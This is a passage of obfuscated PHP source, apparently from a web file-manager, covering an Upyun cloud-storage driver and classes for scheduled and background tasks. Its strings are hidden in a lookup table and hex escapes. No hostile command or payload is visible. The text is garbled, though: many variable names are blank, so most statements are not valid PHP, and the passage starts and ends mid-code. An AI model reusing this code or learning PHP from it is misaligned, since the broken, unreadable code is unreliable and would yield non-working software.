= $Ι; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ƅ = false) { return $this->sourceSize; } public function getContent($ӷ = false) { return $this->fileSubstr($ӷ, 0, $this->sourceSize); } public function fileSubstr($꓿ = false, $ѭ = 0, $к = 0) { if (!$к) { $к = $this->sourceSize; } $ܐм = $this->sourceSize - $ѭ; if ($к >= $ܐм) { $к = $ܐм; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $ѭ, $к); } if ($this->sourceType == self::TYPE_FILE) { if ($к <= 0) { return $_SERVER[՟][12]; } $ = ftell($this->source); fseek_64($this->source, $ + $ѭ); $ = @fread($this->source, $к); fseek_64($this->source, $); return $; } } public function hashMd5($ = false) { return md5($this->getContent()); } public static function hash($鿼, $Ϟ = 0) { $ = new PathDriverStream($鿼, $Ϟ); return $->hashSimple($鿼); } public static function md5($, $ = 0) { $𦉷 = new PathDriverStream($, $); return $𦉷->hashMd5($); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\x68\164\164\x70\x3a\57\57\x76\x30\x2e\x61\x70\151\x2e\165\160\171\x75\x6e\x2e\x63\157\155"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($ԍ) { parent::__construct(); $this->_init($ԍ); } public function _init($) { $Չ =& $_SERVER[՟]; foreach ($ as $Ԛ => $) { if (isset($this->{$Ԛ})) { $this->{$Ԛ} = $; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($Չ[1546] . LNG($Չ[1465])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($ʿ, $ = "\x47\x45\124") { $ɡ =& $_SERVER[՟]; $ڸٌ = gmdate($ɡ[1494]); $Ŭ = base64_encode(hash_hmac($ɡ[1547], "{$}\x26{$ʿ}\x26{$ڸٌ}", md5("{$this->userpass}"), !0)); $ą = array("\x41\165\x74\150\x6f\162\x69\172\141\x74\x69\157\x6e\72\x55\x50\x59\x55\x4e\40{$this->username}\x3a{$Ŭ}", "\104\141\x74\145\72{$ڸٌ}"); return $ą; } public function ussRequest($, $ = "\107\x45\124", $Ą = false, $є = false, $ۍ = false) { $´ =& $_SERVER[՟]; $ = trim($, $´[8]); $ = "\57{$this->bucket}\x2f{$}"; $ = $this->ussHeaders($, $); if ($є) { $ = array_merge($, $є); } $Ҋ = url_request($this->endpoint . $, $, $Ą, $, $ۍ); if (!$Ҋ) { $ = LNG($´[1548]); $this->writeLog($); return array($´[1300] => !1, $´[1290] => $); } if (strtolower($) == $´[237] || in_array($Ҋ[$´[1300]], array($´[283], $´[1549]))) { $Ą = $Ҋ[$´[1550]]; } else { $Ą = json_decode($Ҋ[$´[1290]], !0); if (!$Ą) { $Ą = $Ҋ[$´[1290]]; } else { if (!$Ҋ[$´[834]] && isset($Ą[$´[1551]])) { $Ą = $Ą[$´[1551]]; } } } if (!$Ҋ[$´[834]]) { $this->writeLog($this->__errorMessage($Ą)); } return array($´[1300] => $Ҋ[$´[834]], $´[1290] => $Ą); } private function __errorMessage($ؐ) { $ =& $_SERVER[՟]; if (!$ؐ) { return $[12]; } static $Ę = null; if (!$Ę) { $Ę = I18n::getType(); } if ($Ę != $[1504]) { return $ؐ; } $ʔϲɀ = array($[1552] => $[1553], $[1554] => $[1555], $[1556] => $[1555], $[1557] => $[1558], $[1559] => $[1560], $[1561] => $[1562], $[1563] => $[1564]); return isset($ʔϲɀ[$ؐ]) ? $ʔϲɀ[$ؐ] : $ؐ; } public function mkfile($, $Þ = '', $ݙ = REPEAT_RENAME) { if ($this->setContent($, $Þ)) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ڴ = REPEAT_SKIP) { $ =& $_SERVER[՟]; $ = trim($, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ů桀 = array($[1565]); $߯ = $this->ussRequest($, $[267], !1, $ů桀); return $߯[$[1300]] ? $this->getPathOuter($) : !1; } public function copyFile($ֲ, $쮊) { $ӆ =& $_SERVER[՟]; $ = array($ӆ[1566] . "\57{$this->bucket}\x2f{$ֲ}", $ӆ[1567]); $ = $this->ussRequest($쮊, $ӆ[269], !1, $); return $[$ӆ[1300]] ? !0 : $this->getPathOuter($쮊); } public function moveFile($, $ǭ) { $ =& $_SERVER[՟]; $͗ = array($[1568] . "\x2f{$this->bucket}\57{$}", $[1567]); $ = $this->ussRequest($ǭ, $[269], !1, $͗); return $[$[1300]] ? !0 : $this->getPathOuter($ǭ); } public function delFile($) { $ر =& $_SERVER[՟]; $è = $this->ussRequest($, $ر[1569]); return $è[$ر[1300]] ? !0 : !1; } public function delFolder($) { $ =& $_SERVER[՟]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $実 = $ = array(); $this->fileList($, $実, $, !0); $this->listItemCache = !0; foreach ($ as $) { $땮 = $this->ussRequest($[$[32]], $[1569]); if (!$땮[$[1300]]) { return !1; } } foreach ($実 as $ߕ) { $땮 = $this->ussRequest($ߕ, $[1569]); if (!$땮[$[1300]]) { return !1; } } $땮 = $this->ussRequest($, $[1569]); return $땮[$[1300]]; } public function rename($ފ, $) { if ($this->isFile($ފ)) { $ = get_path_father($ފ) . $; return $this->moveFile($ފ, $); } return $this->renameObject($ފ, $); } public function fileInfo($Ӻ, $ = false, $ɖ = array()) { $ =& $_SERVER[՟]; $ = array($[32] => $this->pathThis($Ӻ), $[97] => $this->getPathOuter($[8] . $Ӻ), $[33] => $[240], $[89] => isset($ɖ[$[89]]) ? $ɖ[$[89]] : 0, $[179] => $this->ext($Ӻ)); if ($) { return $; } $[$[241]] = $[$[98]] = 0; $[$[242]] = $[$[243]] = !0; if (empty($ɖ)) { $ɖ = $this->objectMeta($Ӻ); if (!$ɖ) { return $; } } $[$[241]] = intval($ɖ[$[1570]]); $[$[98]] = intval($ɖ[$[1571]]); $[$[89]] = $ɖ[$[89]]; return $; } public function folderInfo($, $㳮 = false) { $ľ =& $_SERVER[՟]; $ӕ = array($ľ[32] => $this->pathThis($), $ľ[97] => $this->getPathOuter($ľ[8] . $), $ľ[33] => $ľ[88]); if ($㳮) { return $ӕ; } $ӕ[$ľ[241]] = $ӕ[$ľ[98]] = 0; $ӕ[$ľ[242]] = $ӕ[$ľ[243]] = !0; if (empty($ʘ)) { $ʘ = $this->objectMeta($); if (!$ʘ) { return $ӕ; } } $ӕ[$ľ[241]] = intval($ʘ[$ľ[1570]]); $ӕ[$ľ[98]] = intval($ʘ[$ľ[1571]]); return $ӕ; } private function listObjs($ۭ, $ = 0, $ó¨ = 1000) { $ =& $_SERVER[՟]; $ = array($[1572], $[1573] . $ó¨); if ($) { $[] = $[1574] . $; } $ = $this->ussRequest($ۭ, $[271], !1, $); return !$[$[1300]] ? !1 : $[$[1290]]; } private function fileList($旅, &$, &$܂, $̝ = false) { $㱌͠ =& $_SERVER[՟]; $߆ل = $㱌͠[12]; $Гކ = 1000; $Ϙ = rtrim($旅, $㱌͠[8]) . $㱌͠[8]; while (!0) { check_abort(); $җ = $this->listObjs($旅, $߆ل, $Гކ); if (!$җ) { return !1; } $߆ل = isset($җ[$㱌͠[1575]]) ? $җ[$㱌͠[1575]] : $㱌͠[12]; $ = isset($җ[$㱌͠[1576]]) ? $җ[$㱌͠[1576]] : array(); foreach ($ as $) { $ퟀ = $[$㱌͠[33]] == $㱌͠[88] ? !0 : !1; $ = ltrim($Ϙ . $[$㱌͠[32]], $㱌͠[8]) . ($ퟀ ? $㱌͠[8] : $㱌͠[12]); $̟ = array($㱌͠[32] => $, $㱌͠[33] => $ퟀ ? $㱌͠[88] : $㱌͠[240], $㱌͠[89] => $[$㱌͠[422]], $㱌͠[1571] => $[$㱌͠[1577]]); $this->cacheMethodInfoSet($, $ퟀ, $̟); if ($ퟀ) { $[] = $; if ($̝) { $this->fileList($, $, $܂, $̝); } continue; } $܂[] = $̟; } if (count($) < $Гކ) { break; } } $this->cacheMethodInfoSet($旅, !0); } public function listPath($Ԕ, $ = false) { $ =& $_SERVER[՟]; $Ҿ = $ﳉ = array(); $this->fileList($Ԕ, $Ҿ, $ﳉ); foreach ($Ҿ as $ځހ => $) { $Ҿ[$ځހ] = $this->folderInfo($, $); } foreach ($ﳉ as $ځހ => $) { $ﳉ[$ځހ] = $this->fileInfo($[$[32]], $, $); } return array($[95] => $Ҿ, $[96] => $ﳉ); } public function has($ՙ, $ = false, $ = true) { $Խ =& $_SERVER[՟]; $¨ = $Խ[12]; $ = 500; $б = 0; $Ȗ = 0; $ഘ = rtrim($ՙ, $Խ[8]) . $Խ[8]; while (!0) { check_abort(); $鱲 = $this->listObjs($ՙ, $¨, $); if (!$鱲) { return !1; } $¨ = isset($鱲[$Խ[1575]]) ? $鱲[$Խ[1575]] : $Խ[12]; $Ų = isset($鱲[$Խ[1576]]) ? $鱲[$Խ[1576]] : array(); if (empty($Ų)) { break; } $ = array_filter($Ų, function ($ԟ) { $ٙ =& $_SERVER[՟]; return $ԟ[$ٙ[33]] == $ٙ[88]; }); $䛺 = count($Ų); $ = count($); $ଦ = $䛺 - $; if ($) { $Ȗ += $; $б += $ଦ; if ($䛺 < $) { break; } continue; } if ($) { if ($ଦ) { return !0; } } else { if ($) { return !0; } } if ($䛺 < $) { break; } } if ($) { return array($Խ[249] => $б, $Խ[250] => $Ȗ); } return !1; } public function listAll($𡑽) { $ͷ =& $_SERVER[՟]; $ = $Ɠ = array(); $this->fileList($𡑽, $, $Ɠ, !0); $ = array_to_keyvalue($Ɠ, $ͷ[32]); foreach ($ as $) { if (is_string($)) { $[$] = array($ͷ[89] => 0); } } return $this->listAllFiles($𡑽, $); } public function canRead($ѵ) { return $this->exist($ѵ) ? !0 : !1; } public function canWrite($ɗ) { return $this->exist($ɗ) ? !0 : !1; } public function getContent($ڎ) { return $this->fileSubstr($ڎ, 0, -1); } public function setContent($뿜, $ = '') { $ =& $_SERVER[՟]; if (!$) { $ݣ = $this->ussRequest($뿜, $[267]); return $ݣ[$[1300]]; } $ = $this->tempFile($this->pathThis($뿜)); file_put_contents($, $); if ($this->upload($뿜, $)) { $this->tempFileRemve($); return !0; } return !1; } public function fileSubstr($ԑ, $՜, $嬯) { $ =& $_SERVER[՟]; if (!($ = $this->link($ԑ))) { return !1; } $ = !1; if ($嬯 > 0) { $ȶ = $՜ + $嬯 - 1; $ = array($[1536] . $՜ . $[471] . $ȶ); } $Džφ = url_request($, $[271], !1, $); return $Džφ[$[834]] ? $Džφ[$[1290]] : !1; } public function upload($, $ŏ, $، = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[՟]; $ = IO::size($ŏ); if ($ <= 1024 * 1024 * 200) { $ה = array($[1578] . $ŏ); $ = $this->ussRequest($, $[269], $ה); return $[$[1300]] ? $this->getPathOuter($) : !1; } $ = 1024 * 1024 * 10; $逇 = array($[1579], $[1580] . $, $[1581], $[1582] . $); $ = $this->ussRequest($, $[269], !1, $逇); if (!$[$[1300]]) { return !1; } $ӛ = $[$[1290]]; $ͨ = 0; $ӡ = $ӛ[$[1583]]; $ = fopen($ŏ, $[1459]); if (!$) { return !1; } do { $͘ = $ӛ[$[1584]]; fseek_64($, $ͨ); $ = fread($, $͘); $ = 0; do { $++; $ӛ = $this->uploadPart($, $ӛ, $); } while (!$ӛ && $ < 3); if (!$ӛ) { return !1; } $ӡ = $ӛ[$[1583]]; $ͨ += $͘; } while ($ӡ != -1); fclose($); $逇 = array($[1585], $[1586] . $ӛ[$[1587]], $[1581]); $ = $this->ussRequest($, $[269], !1, $逇); return $[$[1300]] ? $this->getPathOuter($Ɂ) : !1; } private function uploadPart($Օ, $, &$ɘ) { $ =& $_SERVER[՟]; $ = array($[1588], $[1586] . $[$[1587]], $[1589] . $[$[1583]], $[156] . $[$[1584]]); $ލ = $this->ussRequest($Օ, $[269], $ɘ, $); return !$ލ[$[1300]] ? $ލ[$[1300]] : $ލ[$[1290]]; } public function uploadFormData($, $ = 3600) { return $this->uploadPolicy($, $); } public function multiUploadFormData($, $ň = 3600) { $ =& $_SERVER[՟]; $Ҕ = (int) $GLOBALS[$[7]][$[89]]; return $this->uploadPolicy($, $ň, $Ҕ); } private function uploadPolicy($ݗԓ, $ύ = 3600, $ϟ = 0) { $ =& $_SERVER[՟]; $à = $[8] . $this->bucket; $ЀŚ = gmdate($[1494]); $ = array($[1590] => $this->bucket, $[1591] => $ݗԓ, $[1592] => time() + $ύ, $[1593] => $ЀŚ); if ($ϟ) { $[$[1479]] = $ϟ; } $ = base64_encode(json_encode($)); $٬ = base64_encode(hash_hmac($[1547], "\120\x4f\x53\124\46{$à}\46{$ЀŚ}\46{$}", md5("{$this->userpass}"), !0)); $ś = array($[302] => $, $[1594] => "\x55\x50\131\x55\116\40{$this->username}\x3a{$٬}", $[218] => $this->endpoint . $à); return $ś; } public function download($, $ۯ) { $➎٭ = IO::getPathInner(IO::mkfile($ۯ)); if (!($ = $this->link($))) { return !1; } $ğ = 0; $Ա = 1024 * 200; $ = fopen($➎٭, $_SERVER[՟][1542]); while (!0) { $俫 = $this->fileSubstr($, $ğ, $Ա); if ($俫 === !1) { return !1; } fwrite($, $俫); $ğ += $Ա; if (strlen($俫) < $Ա) { break; } } fclose($); return $ۯ; } public function link($, $Щ = array()) { $ =& $_SERVER[՟]; $ = trim($, $[8]); if (!empty($this->token)) { $ = strtotime(date($[1595])); $ݘퟀ = substr(md5($this->token . $[369] . $ . $[1596] . $), 12, 8) . $; $Щ[] = $[1597] . $ݘퟀ; } $ݔ = !empty($Щ) ? $[86] . implode($[369], $Щ) : $[12]; return $this->getHost() . $[8] . $ . $ݔ; } public function fileOut($Ϸޜ, $ɐ = false, $ء = false, $ʞ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($Ϸޜ, $ɐ, $ء, $ʞ); } if (!$ء) { $ء = $this->pathThis($Ϸޜ); } $ա = $ɐ ? array($_SERVER[՟][1598] . rawurlencode($ء)) : array(); $ = $this->link($Ϸޜ, $ա); $this->fileOutLink($); } public function fileOutServer($, $įƥ = false, $ީ = false, $ɔ = '') { parent::fileOut($, $įƥ, $ީ, $ɔ); } public function fileOutImage($۵, $ = 250) { $Ԕ = $this->link($۵ . $_SERVER[՟][1599] . $); $this->fileOutLink($Ԕ); } public function fileOutImageServer($ۅ, $ҩ = 250) { parent::fileOutImage($ۅ, $ҩ); } public function hashMd5($) { $슈 =& $_SERVER[՟]; $ڥ = $this->_objectMeta($); return isset($ڥ[$슈[255]]) ? $ڥ[$슈[255]] : !1; } public function size($) { $ԃŖ = $this->objectMeta($); return $ԃŖ ? $ԃŖ[$_SERVER[՟][89]] : 0; } public function info($ܰ) { if ($this->isFolder($ܰ)) { return $this->folderInfo($ܰ); } else { if ($this->isFile($ܰ)) { return $this->fileInfo($ܰ); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($߳) { return !$this->isFolder($߳) && $this->objectMeta($߳); } public function isFolder($) { return $this->cacheMethod($_SERVER[՟][189], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[՟][191], $); } protected function _objectMeta($) { $Ā =& $_SERVER[՟]; if ($ == $Ā[12] || $ == $Ā[8]) { return array(); } $٠ = $this->ussRequest($, $Ā[1600]); if (!$٠[$Ā[1300]]) { return null; } $ЬŹ = isset($٠[$Ā[1290]]) ? $٠[$Ā[1290]] : array(); if (!isset($ЬŹ[$Ā[1601]])) { return null; } $ = array($Ā[33] => isset($ЬŹ[$Ā[1601]]) ? $ЬŹ[$Ā[1601]] : null, $Ā[89] => isset($ЬŹ[$Ā[1602]]) ? $ЬŹ[$Ā[1602]] : null, $Ā[255] => isset($ЬŹ[$Ā[1603]]) ? $ЬŹ[$Ā[1603]] : null, $Ā[1570] => isset($ЬŹ[$Ā[1604]]) ? $ЬŹ[$Ā[1604]] : null); $[$Ā[1571]] = isset($ЬŹ[$Ā[1605]]) ? strtotime($ЬŹ[$Ā[1605]]) : $[$Ā[1570]]; return $; } protected function _isFolder($) { $縲 =& $_SERVER[՟]; if ($ == $縲[12] || $ == $縲[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$縲[33]]) && $[$縲[33]] == $縲[88] ? !0 : !1; } } goto aԵ; b: class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ =& $_SERVER[՟]; if (self::valueGet($[834]) != $[101]) { return; } if (self::valueGet($[1723]) == $[101]) { $ = self::valueGet($[1724]); if (time() - $ > self::AUTO_RESTART_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($[1723], $[101]); self::log($[1725] . ACTION . $[1726]); Hook::bind($[1727], $[1728]); $ = 0; while (!0) { self::cacheClear(); if (self::valueGet($[834]) != $[101]) { self::valueSet($[1723], $[238]); self::log($[1729]); die; } $ = time(); if ($ - $ >= 60) { self::valueSet(array($[1723] => $[101], $[1724] => $)); $ = $; } if (!file_exists(USER_SYSTEM . $[1730])) { self::valueSet(array($[1723] => $[238], $[834] => $[238])); self::log($[1731]); die; } $즁 = file_get_contents(BASIC_PATH . $[1732]); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $ = match_text($즁, $[1733]) . $[10] . match_text($즁, $[1734]); if ($ != $) { self::restart(); self::log("\163\164\x6f\x70\x65\144\x2e\133\166\145\x72\x73\151\x6f\x6e\40\x75\160\x64\141\164\x65\x3b{$versionNow}\x20\75\76\40{$version}\135"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $昜Ĭ =& $_SERVER[՟]; http_close(); $GLOBALS[$昜Ĭ[1735]] = 1; $_SERVER[$昜Ĭ[1736]] = $昜Ĭ[1737]; $_COOKIE = array(); $GLOBALS[$昜Ĭ[1738]] = 1; $GLOBALS[$昜Ĭ[1739]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $ =& $_SERVER[՟]; http_close(); self::valueSet($[834], $[238]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($[1723] => $[238], $[834] => $[101])); self::log($[1740]); } public static function taskSwitch() { $ =& $_SERVER[՟]; $ = self::valueGet($[834]) == $[101] ? $[238] : $[101]; self::valueSet($[834], $); } public static function shutdownEvent() { $҇ =& $_SERVER[՟]; self::valueSet($҇[1723], $҇[238]); self::log($҇[1741]); } public static function config($, $) { self::valueSet($_SERVER[՟][834], $); } private static function taskRunAll() { $½ =& $_SERVER[՟]; $㢗 = timeFloat(); $ = Model($½[1742])->listData(); $ = count($); for ($ = 0; $ < $; $++) { $ = $[$]; if (!$[$½[484]] || $[$½[1743]] != $½[101]) { continue; } if (!self::taskTimeCheck($)) { continue; } self::taskRun($); } Hook::trigger($½[1744]); self::taskQueueRun($㢗); } private static function taskQueueRun($ޑҗ) { $ղ = 10; while (!0) { $ = TaskQueue::run(); if ($ === !1) { break; } if (timeFloat() - $ޑҗ >= $ղ) { break; } } } private static function taskTimeCheck($) { $ =& $_SERVER[՟]; $Ϊ = json_decode($[$[216]], !0); $۴ = intval($[$[1724]]); $ƙЄ = strtotime($[1745] . $Ϊ[$[1746]] . $[1747]) - strtotime($[1748]); $ = time() - strtotime(date($[1749]) . $[1750]); $ɞ = $ >= $ƙЄ && $ <= $ƙЄ + 3600; switch ($Ϊ[$[33]]) { case $[1751]: if (time() - $۴ < 3600 * 24 * 30) { return !1; } if ($Ϊ[$[1751]] == date($[1752]) && $ɞ) { return !0; } break; case $[1753]: if (time() - $۴ < 3600 * 24 * 7) { return !1; } $ = date($[1754]) == 0 ? 7 : date($[1754]); if ($Ϊ[$[1753]] == $ && $ɞ) { return !0; } break; case $[1746]: if (time() - $۴ < 3600 * 24) { return !1; } if ($ɞ) { return !0; } break; case $[1755]: if (time() - $۴ >= floatval($Ϊ[$[1755]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ǧ =& $_SERVER[՟]; static $ = 0; $砍 = 300; if (!$) { $ = time(); } if (time() - $ < $砍) { return; } $ = time(); $أ = Model($ǧ[586])->db($ǧ[12]); if ($أ) { $أ->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($ǧ[1756], $ǧ[1757]); die; } } public static function taskRun($) { $˳ =& $_SERVER[՟]; self::log($˳[1758] . $[$˳[484]] . $˳[1759] . $[$˳[32]] . $˳[1760] . $[$˳[1761]]); Model($˳[1742])->run($[$˳[484]]); $ = timeFloat(); $ͭ = $˳[12]; switch ($[$˳[33]]) { case $˳[392]: $ = url_request($[$˳[1761]], $˳[271], !1, !1, !1, !1, 10); if ($[$˳[834]]) { $ͭ = strlen($[$˳[1290]]); } break; case $˳[270]: $ͭ = Hook::apply($[$˳[1761]]); default: break; } Model($˳[1762])->add(array($˳[1763] => $˳[12], $˳[1764] => $˳[238], $˳[33] => $˳[1765] . $[$˳[484]], $˳[1766] => json_encode(array($˳[32] => $[$˳[32]], $˳[1767] => timeFloat() - $, $˳[378] => $ͭ)))); $ = $ͭ ? $˳[1768] . $ͭ : $˳[12]; self::log($˳[1769] . $[$˳[484]] . $˳[188] . $); return !0; } public static function valueGet($ྚ) { $ۜ =& $_SERVER[՟]; $ = $ۜ[1770]; $ = Model($ۜ[517])->get($ྚ, $); if (is_null($)) { Model($ۜ[517])->set($ۜ[834], $ۜ[101], $); Model($ۜ[517])->set($ۜ[1723], $ۜ[238], $); $ = Model($ۜ[517])->get($ྚ, $); } return $; } private static function valueSet($, $ = false) { $ =& $_SERVER[՟]; $ = $[1771]; CacheLock::lock($); $ܜً = Model($[517])->set($, $, $[1770]); CacheLock::unlock($); return $ܜً; } protected static function log($) { write_log($, $_SERVER[՟][1757]); } private static function cacheClear() { $ =& $_SERVER[՟]; Cache::clearMemory(Model($[517])->cacheKey($[1770])); Cache::clearMemory(Model($[517])->cacheKey($[1772])); Model($[1742])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\x73\164\x6f\x70"; const STATYS_RUNNING = "\x72\x75\x6e\x6e\151\x6e\147"; const STATYS_KILL = "\x6b\x69\154\154"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($, $ = '', $ = 0, $ = '') { $̫ܗ =& $_SERVER[՟]; if (self::get($)) { return; } $this->task = array($̫ܗ[484] => $, $̫ܗ[1773] => USER_ID, $̫ܗ[1662] => $, $̫ܗ[535] => $̫ܗ[12], $̫ܗ[33] => $, $̫ܗ[1146] => $̫ܗ[12], $̫ܗ[1144] => $, $̫ܗ[1774] => 0, $̫ܗ[1775] => 0, $̫ܗ[1776] => 0, $̫ܗ[1777] => timeFloat(), $̫ܗ[1778] => 0, $̫ܗ[1779] => 0, $̫ܗ[1780] => 0, $̫ܗ[1781] => 0, $̫ܗ[834] => $̫ܗ[1723]); $GLOBALS[$̫ܗ[1782]] = 1; Hook::bind($̫ܗ[1727], array($this, $̫ܗ[1783])); Hook::bind($̫ܗ[1784], array($this, $̫ܗ[1785])); $this->startAfter(); Hook::trigger($̫ܗ[1786], $this->task); $this->task[$̫ܗ[1779]] = timeFloat(); } public function end($٧ = '') { $ۑ =& $_SERVER[՟]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$ۑ[1779]]) { self::valueSet($this->task[$ۑ[484]], !1); } $this->isEnd = !0; if ($٧) { $this->task[$ۑ[535]] = $٧; } self::log($ۑ[1787] . $this->task[$ۑ[484]] . $ۑ[1788] . sprintf($ۑ[935], timeFloat() - $this->task[$ۑ[1777]]) . $ۑ[1789]); Hook::unbind($ۑ[1727], array($this, $ۑ[1783])); Hook::unbind($ۑ[1784], array($this, $ۑ[1785])); $this->endAfter(); $ں = $this->task; $this->task = !1; Hook::trigger($ۑ[1790], $ں); } public function update($ = 0, $י答 = false) { $ =& $_SERVER[՟]; $Յ =& $this->task; if (!$Յ) { return; } $Յ[$[1774]] += $; $Յ[$[1778]] = timeFloat(); if ($Յ[$[1144]]) { if ($Յ[$[1144]] < $Յ[$[1774]]) { $Յ[$[1144]] = $Յ[$[1774]]; } $ٰܶ = timeFloat() - $Յ[$[1777]] - $Յ[$[1780]]; if ($ٰܶ <= 0) { $ٰܶ = 0.001; } $Յ[$[1775]] = $Յ[$[1774]] / $Յ[$[1144]]; $Յ[$[1776]] = $Յ[$[1774]] / $ٰܶ; if ($Յ[$[1775]] > 0) { $Յ[$[1781]] = $ٰܶ * (1 - $Յ[$[1775]]) / $Յ[$[1775]]; } $Յ[$[1781]] = $Յ[$[1781]] <= 0 ? 0 : $Յ[$[1781]]; } $this->updateAfter(); $ʓ = 0.2; if (timeFloat() - $Յ[$[1779]] < $ʓ && !$י答) { return; } $ = self::get($Յ[$[484]]); $ӽ = $[$[834]]; if ($ӽ == self::STATYS_KILL) { $ٲ = array($[1791] => LNG($[1792]), $[1300] => !1); Cache::set($[1793] . $this->task[$[484]], $ٲ, 30); $this->onKill(); $this->end(); die; } else { if ($ӽ == self::STATYS_STOP) { $䐦 = 2; $[$[1780]] += $䐦; self::valueSet($Յ[$[484]], $); sleep($䐦); $this->update(); return; } } $Յ[$[834]] = $ӽ ? $ӽ : $Յ[$[834]]; $Յ[$[1780]] = $[$[1780]] ? $[$[1780]] : 0; $Յ[$[1779]] = timeFloat(); Hook::trigger($[1794], $Յ); self::valueSet($Յ[$[484]], $Յ); } public function onKillSet($銉, $Э = array()) { $this->onKillCall = array($銉, $Э); } public function onKill() { $ؓ =& $_SERVER[՟]; self::log($ؓ[1787] . $this->task[$ؓ[484]] . $ؓ[1795]); Hook::trigger($ؓ[1796], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($Մ) { $鬅 =& $_SERVER[՟]; Cache::set($鬅[1793] . $this->task[$鬅[484]], $Մ, 60); return $Մ; } public static function get($故) { $И =& $_SERVER[՟]; $ = self::valueGet($故); if (is_array($) && $[$И[1797]]) { $ = ActionApply($[$И[1797]], array($)); $ = is_array($) ? $ : $; } return $; } public static function listData() { $鲅 = self::valueGet(); return array_sort_by($鲅, $_SERVER[՟][1777], !0); } public static function kill($ݰ) { return self::changeStatus($ݰ, self::STATYS_KILL); } public static function stop($ⵠ) { return self::changeStatus($ⵠ, self::STATYS_STOP); } public static function restart($ϒњ߭) { return self::changeStatus($ϒњ߭, self::STATYS_RUNNING); } public static function killAll() { $ =& $_SERVER[՟]; $׆ = self::listData(); foreach ($׆ as $ޝۋ) { self::kill($ޝۋ[$[484]]); } sleep(2); foreach ($׆ as $ޝۋ) { self::valueSet($ޝۋ[$[484]], !1); } } private static function changeStatus($, $箫) { $ᤞ =& $_SERVER[՟]; $˪ = self::valueGet($); if (!$˪) { return !1; } $˪[$ᤞ[834]] = $箫; self::valueSet($, $˪); self::log($ᤞ[1798] . $˪[$ᤞ[484]] . $ᤞ[1799] . $箫); return !0; } public static function valueGet($ = false) { $Ѐ =& $_SERVER[՟]; if ($) { $ = Model($Ѐ[529])->where(array($Ѐ[107] => $, $Ѐ[33] => $Ѐ[1153]))->find(); return $ ? json_decode($[$Ѐ[459]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ý = false) { $ =& $_SERVER[՟]; $ϋ = array($[33] => $[1153]); if ($ý) { $ϋ[$[1773]] = $ý; } $ = Model($[529])->where($ϋ)->select(); $ = $ ? $ : array(); foreach ($ as $ʪ֔ => $ٍ۫) { $[$ʪ֔] = json_decode($ٍ۫[$[459]], !0); } return $; } public static function valueSet($, $Ȯ) { $ဣŚ =& $_SERVER[՟]; if (!$Ȯ) { return Model($ဣŚ[529])->where(array($ဣŚ[107] => $, $ဣŚ[33] => $ဣŚ[1153]))->delete(); } $ޚ = json_encode($Ȯ); if (!$ޚ) { ob_start(); var_dump($Ȯ); $˕ = ob_get_clean(); self::log($ဣŚ[1800] . json_encode_force($˕)); } if (!$ || !$Ȯ[$ဣŚ[484]]) { return !1; } $ = array($ဣŚ[33] => $ဣŚ[1153], $ဣŚ[1773] => USER_ID, $ဣŚ[107] => $, $ဣŚ[459] => $ޚ); $ڢ = $ဣŚ[1801]; CacheLock::lock($ڢ); Model($ဣŚ[529])->add($, array(), !0); CacheLock::unlock($ڢ); } public static function log($睹) { if (!GLOBAL_DEBUG) { return; } write_log($睹, $_SERVER[՟][1802]); } } class TaskFileTransfer extends Task { protected function startAfter() { $ =& $_SERVER[՟]; $Ȁ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($[1803], array($this, $[1804])); Hook::bind($[1311], array($this, $[1805])); Hook::bind($[1806], array($this, $[1807])); Hook::bind($[677], array($this, $[1808])); Hook::bind($[678], array($this, $[1809])); Hook::bind($[684], array($this, $[1810])); Hook::bind($[685], array($this, $[1811])); Hook::bind($[680], array($this, $[1812])); Hook::bind($[682], array($this, $[1813])); Hook::bind($[646], array($this, $[1814])); Hook::bind($[643], array($this, $[1814])); Hook::bind($[648], array($this, $[1814])); Hook::bind($[650], array($this, $[1814])); Hook::bind($[652], array($this, $[1814])); Hook::bind($[1815], array($this, $[1816])); Hook::bind($[668], array($this, $[1817])); $this->sourceModelCopyFlag = !1; Hook::bind($[1818], array($this, $[1819])); Hook::bind($[1820], array($this, $[1821])); Hook::bind($[1822], array($this, $[1823])); $Ȁ[$[1824]] = LNG($[1825]); $Ȁ[$[1826]] = 0; $Ȁ[$[1827]] = 0; $Ȁ[$[1146]] = $[12]; $Ȁ[$[1828]] = $[12]; $Ȁ[$[1829]] = 0; $Ȁ[$[1830]] = 0; $Ȁ[$[1831]] = 0; if (!$Ȁ[$[1662]]) { $Ȁ[$[1662]] = LNG($[1832]); 